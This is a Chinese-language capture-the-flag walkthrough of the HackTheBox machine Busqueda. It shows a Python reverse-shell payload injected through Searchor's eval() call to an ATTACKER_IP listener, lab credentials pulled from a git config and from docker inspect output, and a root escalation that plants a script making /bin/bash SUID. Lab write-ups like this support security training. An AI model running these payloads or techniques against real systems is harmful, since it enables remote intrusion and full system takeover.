HTB之Busqueda Walkthrough

前言

  • 针对实验靶机完成渗透操作,主要涉及:
  1. 命令注入–eval函数任意CMD注入
  2. docker inspect
  3. 源码分析

部署

  • target machine : 10.10.11.208

  • attack machine : 10.10.16.3 (本机kali连接openVPN)

Nmap 扫描

┌──(kali㉿kali)-[~/桌面/HTB/Busqueda]
└─$ sudo nmap -sC -sV -T4 -Pn -p- 10.10.11.208
···
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
···
  • 80端口打开,运行Apache httpd 2.4.52,直接访问发现无法进行,根据nmap扫描结果,添加host:

    ┌──(kali㉿kali)-[~/桌面/HTB/Busqueda]
    └─$ sudo vim /etc/hosts              
    [sudo] kali 的密码:
                                                                                      
    ┌──(kali㉿kali)-[~/桌面/HTB/Busqueda]
    └─$ sudo cat /etc/hosts 
    127.0.0.1	localhost
    127.0.1.1	kali
    ::1		localhost ip6-localhost ip6-loopback
    ff02::1		ip6-allnodes
    ff02::2		ip6-allrouters
    192.168.70.134  www.c1moon.com
    10.10.11.208 	searcher.htb
    

    1

gobuster目录扫描

┌──(kali㉿kali)-[~/桌面/HTB/Busqueda]
└─$ gobuster dir -u http://searcher.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://searcher.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2024/01/25 22:45:13 Starting gobuster in directory enumeration mode
===============================================================
/search               (Status: 405) [Size: 153]

  • 未有结果

查找漏洞

  • 发现网页底部:Searchor 2.4.0,github搜索后发现,在 Searchor <= 2.4.2 的 src/sarchor/main.py 文件中有一个函数调用 eval() :可以任意CMD注入

    @click.argument("query")
    def search(engine, query, open, copy):
        try:
            url = eval( # <<< See here 
                f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
            )
            click.echo(url)
            searchor.history.update(engine, query, url)
            if open:
                click.echo("opening browser...")
        ...
    
  • 本地监听:

    ┌──(kali㉿kali)-[~/桌面/HTB/Busqueda]
    └─$ nc -nlvp 4444                    
    listening on [any] 4444 ...
    
  • 注入命令

     ', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#
    

    2

  • 获得shell:

    ┌──(kali㉿kali)-[~/桌面/HTB/Busqueda]
    └─$ nc -nlvp 4444                    
    listening on [any] 4444 ...
    connect to [10.10.16.3] from (UNKNOWN) [10.10.11.208] 50768
    /bin/sh: 0: can't access tty; job control turned off
    $ whoami
    svc
    $ which python
    $ which payhon3
    $ which python3
    /usr/bin/python3
    $ python3 -c "import pty;pty.spawn('/bin/bash')"
    svc@busqueda:/var/www/app$ cd /
    cd /
    svc@busqueda:/$ dir
    dir
    bin   dev  home  lib32	libx32	    media  opt	 root  sbin  srv  tmp  var
    boot  etc  lib	 lib64	lost+found  mnt    proc  run   snap  sys  usr
    svc@busqueda:/$ id
    id
    uid=1000(svc) gid=1000(svc) groups=1000(svc)
    svc@busqueda:/$ cd home
    cd home
    svc@busqueda:/home$ dir
    dir
    svc
    svc@busqueda:/home$ cd svc
    cd svc
    svc@busqueda:~$ dir
    dir
    user.txt
    

提权

  • 发现存在.gitconfig文件,可能存在git的部分信息:

    svc@busqueda:~$ ls -al
    ls -al
    total 36
    drwxr-x--- 4 svc  svc  4096 Apr  3  2023 .
    drwxr-xr-x 3 root root 4096 Dec 22  2022 ..
    lrwxrwxrwx 1 root root    9 Feb 20  2023 .bash_history -> /dev/null
    -rw-r--r-- 1 svc  svc   220 Jan  6  2022 .bash_logout
    -rw-r--r-- 1 svc  svc  3771 Jan  6  2022 .bashrc
    drwx------ 2 svc  svc  4096 Feb 28  2023 .cache
    -rw-rw-r-- 1 svc  svc    76 Apr  3  2023 .gitconfig
    drwxrwxr-x 5 svc  svc  4096 Jun 15  2022 .local
    lrwxrwxrwx 1 root root    9 Apr  3  2023 .mysql_history -> /dev/null
    -rw-r--r-- 1 svc  svc   807 Jan  6  2022 .profile
    lrwxrwxrwx 1 root root    9 Feb 20  2023 .searchor-history.json -> /dev/null
    -rw-r----- 1 root svc    33 Jan 25 14:07 user.txt
    svc@busqueda:~$ cat .gitconfig
    cat .gitconfig
    [user]
      email = cody@searcher.htb
      name = cody
    [core]
      hooksPath = no-hooks
    
    • 结果发现cody@searcher.htb
  • 继续查找git相关,发现在/var/www/app下存在.git文件夹,查看config配置文件:

      svc@busqueda:/var/www/app$ ls -al
      ls -al
      total 20
      drwxr-xr-x 4 www-data www-data 4096 Apr  3  2023 .
      drwxr-xr-x 4 root     root     4096 Apr  4  2023 ..
      -rw-r--r-- 1 www-data www-data 1124 Dec  1  2022 app.py
      drwxr-xr-x 8 www-data www-data 4096 Jan 25 14:07 .git
      drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates
      svc@busqueda:/var/www/app$ cat .git
      cat .git
      cat: .git: Is a directory
      svc@busqueda:/var/www/app$ cd .git
      cd .git
      svc@busqueda:/var/www/app/.git$ ls -al
      ls -al
      total 52
      drwxr-xr-x 8 www-data www-data 4096 Jan 25 14:07 .
      drwxr-xr-x 4 www-data www-data 4096 Apr  3  2023 ..
      drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 branches
      -rw-r--r-- 1 www-data www-data   15 Dec  1  2022 COMMIT_EDITMSG
      -rw-r--r-- 1 www-data www-data  294 Dec  1  2022 config
      -rw-r--r-- 1 www-data www-data   73 Dec  1  2022 description
      -rw-r--r-- 1 www-data www-data   21 Dec  1  2022 HEAD
      drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 hooks
      -rw-r--r-- 1 root     root      259 Apr  3  2023 index
      drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 info
      drwxr-xr-x 3 www-data www-data 4096 Dec  1  2022 logs
      drwxr-xr-x 9 www-data www-data 4096 Dec  1  2022 objects
      drwxr-xr-x 5 www-data www-data 4096 Dec  1  2022 refs
      svc@busqueda:/var/www/app/.git$ cat config
      cat config
      [core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
      [remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
      [branch "main"]
        remote = origin
        merge = refs/heads/main
    
    • cody:jh1usoih2bkjaspwe92@gitea.searcher.htb 似乎是账户和密码,与之前的邮箱账号对应
  • 首先添加host以便访问gitea.searcher.htb

    ┌──(kali㉿kali)-[~/桌面/HTB/Busqueda]
    └─$ sudo vim /etc/hosts                                                                   [sudo] kali 的密码:
          
    ┌──(kali㉿kali)-[~/桌面/HTB/Busqueda]
    └─$ cat /etc/hosts                                    
    127.0.0.1	localhost
    127.0.1.1	kali
    ::1		localhost ip6-localhost ip6-loopback
    ff02::1		ip6-allnodes
    ff02::2		ip6-allrouters
    192.168.70.134  www.c1moon.com
    10.10.11.208 	searcher.htb
    10.10.11.208    gitea.searcher.htb
    
    • 访问并尝试登陆:

      3

    • cody创建了仓库,administrator创建了main分支,最后将Searcher_site推送到main分支

  • sudo -l 列出当前登陆的用户可以使用 sudo 运行的所有命令:

    svc@busqueda:/var/www/app/.git$ sudo -l
    sudo -l
    [sudo] password for svc: jh1usoih2bkjaspwe92
    
    Matching Defaults entries for svc on busqueda:
        env_reset, mail_badpass,
        secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
        use_pty
    
    User svc may run the following commands on busqueda:
        (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
    
    • 查看命令:
    svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
    <o /usr/bin/python3 /opt/scripts/system-checkup.py *
    Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
    
        docker-ps     : List running docker containers
        docker-inspect : Inpect a certain docker container
        full-checkup  : Run a full system checkup
    svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
    <python3 /opt/scripts/system-checkup.py full-checkup
    Something went wrong
    
  • 进入/opt/scripts/路径查看:

     svc@busqueda:/opt/scripts$ ls -alh
     ls -alh
     total 28K
     drwxr-xr-x 3 root root 4.0K Dec 24  2022 .
     drwxr-xr-x 4 root root 4.0K Mar  1  2023 ..
     -rwx--x--x 1 root root  586 Dec 24  2022 check-ports.py
     -rwx--x--x 1 root root  857 Dec 24  2022 full-checkup.sh
     drwxr-x--- 8 root root 4.0K Apr  3  2023 .git
     -rwx--x--x 1 root root 3.3K Dec 24  2022 install-flask.sh
     -rwx--x--x 1 root root 1.9K Dec 24  2022 system-checkup.py
     svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
     <python3 /opt/scripts/system-checkup.py full-checkup
     [=] Docker conteainers
     {
       "/gitea": "running"
     }
     {
       "/mysql_db": "running"
     }
    
     [=] Docker port mappings
     {
       "22/tcp": [
         {
           "HostIp": "127.0.0.1",
           "HostPort": "222"
         }
       ],
       "3000/tcp": [
         {
           "HostIp": "127.0.0.1",
           "HostPort": "3000"
         }
       ]
     }
    
     [=] Apache webhosts
     [+] searcher.htb is up
     [+] gitea.searcher.htb is up
    
     [=] PM2 processes
     ┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
     │ id  │ name   │ namespace   │ version │ mode    │ pid      │ uptime │ ↺    │ status    │ cpu      │ mem      │ user     │ watching │
     ├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
     │ 0   │ app    │ default     │ N/A     │ fork    │ 1554     │ 2h     │ 0    │ online    │ 0%       │ 32.3mb   │ svc      │ disabled │
     └─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘
    
     [+] Done!
     svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
     <in/python3 /opt/scripts/system-checkup.py docker-ps
     [sudo] password for svc: jh1usoih2bkjaspwe92
    
     CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS       PORTS                                             NAMES
     960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   12 months ago   Up 3 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
     f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   12 months ago   Up 3 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db
     svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
     <thon3 /opt/scripts/system-checkup.py docker-inspect
     Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
    
    • docker inspect

      4

       svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='' 960873171e2e
       <er-inspect --format='' 960873171e2e
       --format={"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}}
      
       svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='' f84a6b33fb5a
       <er-inspect --format='' f84a6b33fb5a
       --format={"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}
      
    • 发现两个数据库密码:yuiu1hoiu4i5ho1uhjI86kGUuj87guWr3RyF,并尝试登录administrator的gitea,使用yuiu1hoiu4i5ho1uh登陆成功

      5 6

      • 可以看到administrator下的文件
  • 为了提权方便,这里使用ssh登录svc(svc:jh1usoih2bkjaspwe92):

      ┌──(kali㉿kali)-[~/桌面/HTB/Busqueda]
      └─$ ssh svc@10.10.11.208
      svc@10.10.11.208's password: 
      ···
      svc@busqueda:~$
    
  • 创建一个自己的full-checkup.sh文件:

      svc@busqueda:~$ vim full-checkup.sh
      svc@busqueda:~$ cat full-checkup.sh 
      #!/bin/bash
      chmod +s /bin/bash
    
  • 赋予full-checkup.sh以执行权限后继续运行system-checkup获得root权限:

      svc@busqueda:~$ chmod +x full-checkup.sh
      svc@busqueda:~$ ls -al /bin/bash
      -rwsr-sr-x 1 root root 1396520 Jan  6  2022 /bin/bash
      svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
    
      [+] Done!
      svc@busqueda:~$ /bin/bash -p
      bash-5.1# whoami
      root
      bash-5.1# ls -lh
      total 8.0K
      -rwxrwxr-x 1 svc  svc 31 Jan 26 14:40 full-checkup.sh
      -rw-r----- 1 root svc 33 Jan 26 14:36 user.txt
      bash-5.1# find / -iname *root.txt* 2>/dev/null
      /root/root.txt
    

Reference

LBusqueda

POC-Searchor-2.4.2 Exploit